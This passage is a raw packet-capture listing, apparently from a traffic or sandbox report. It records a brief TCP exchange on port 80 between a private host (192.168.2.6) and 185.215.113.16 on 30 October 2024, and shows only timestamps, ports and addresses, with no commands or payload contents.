Oct 30, 2024 05:24:28.188229084 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188254118 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188260078 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188272953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188283920 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188296080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188307047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188343048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188354969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188364029 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188375950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188385010 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188431025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188450098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188533068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188540936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188569069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188576937 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188587904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188613892 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188638926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188648939 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188662052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188671112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.188690901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.188698053 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.218790054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.218822956 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.218832016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.218852997 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.218873024 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.218888044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.218899012 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.218919992 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.218943119 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.263179064 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263215065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263230085 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263242006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.263259888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263276100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263283968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.263297081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263308048 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263325930 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.263339043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263348103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.263940096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263951063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263969898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263978958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.263998032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264004946 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264040947 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264122009 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264173031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264185905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264214039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264223099 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264235973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264246941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264265060 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264269114 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264280081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264290094 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264306068 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264313936 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264405966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264415026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264431953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264442921 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264456987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264467001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264472961 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264478922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264497995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264503956 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264525890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264540911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264547110 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264559031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264569998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264579058 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264590025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264597893 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264610052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264620066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264636993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264647961 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264652967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264682055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264713049 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264723063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264740944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264754057 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264760971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264770031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264777899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264797926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264807940 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264816999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264826059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264849901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264857054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264870882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264879942 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264889002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264899969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264909029 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.264931917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264942884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264961004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264972925 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.264976978 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265000105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265165091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265208006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265224934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265249968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265279055 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265286922 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265297890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265316963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265325069 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265336037 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265373945 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265378952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265394926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265429974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265443087 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265459061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265466928 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265480042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265492916 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265499115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265523911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265549898 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265558004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265575886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265583992 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265595913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265614033 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265620947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265630960 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265650988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265660048 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265671968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265682936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265688896 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265707016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265717983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265733004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265747070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265763998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265772104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265784025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265804052 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265896082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265906096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265923977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.265947104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.265978098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266201973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266227007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266241074 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266299009 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266324997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266360998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266369104 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266381025 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266418934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266608953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266633987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266647100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266673088 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266700983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266712904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266731977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266746044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266751051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266792059 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266798973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266808033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266834021 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266846895 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266856909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266870975 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.266875029 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.266897917 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267132998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267155886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267167091 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267210007 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267231941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267245054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267262936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267267942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267286062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267296076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267303944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267328978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267340899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267364025 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267374039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267391920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267399073 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267414093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267436028 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267440081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267448902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267482042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267487049 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267494917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267515898 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267524004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267546892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267560005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267568111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267582893 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267591000 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267605066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267626047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267637968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267644882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267654896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267671108 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267683983 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267699957 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267714024 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267724991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267736912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267769098 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267815113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267824888 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267844915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267859936 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267868042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267884970 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267894983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267930031 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.267952919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267962933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267980099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.267997026 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.289324999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307013988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307025909 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307046890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307068110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307079077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307089090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307101965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307115078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307130098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307137966 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307152033 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307349920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307410002 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307419062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307446003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307450056 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307473898 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307478905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307495117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307507038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307531118 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307552099 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307635069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307676077 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307683945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307701111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307713985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307739973 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.307902098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307944059 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307954073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.307993889 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.308012962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308033943 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308043957 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.308053970 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308064938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308083057 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308103085 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.308111906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308123112 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.308152914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308162928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308197021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.308203936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308214903 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308237076 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.308259964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308271885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308289051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308298111 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.308310032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308322906 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308329105 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.308341026 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.308367968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.338196993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.338207006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.338227034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.338264942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.338313103 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.338332891 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.338345051 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.338428974 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.382663965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382675886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382694006 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382710934 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382719040 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.382731915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382741928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382761955 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382766962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.382786989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.382802963 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382812977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382826090 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382848024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.382853985 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.382875919 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383280993 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383304119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383318901 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383328915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383363008 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383382082 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383392096 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383409977 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383418083 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383430958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383452892 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383465052 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383471012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:28.383482933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:28.383491993 CET	80	49760	185.215.113.16	192.168.2.6
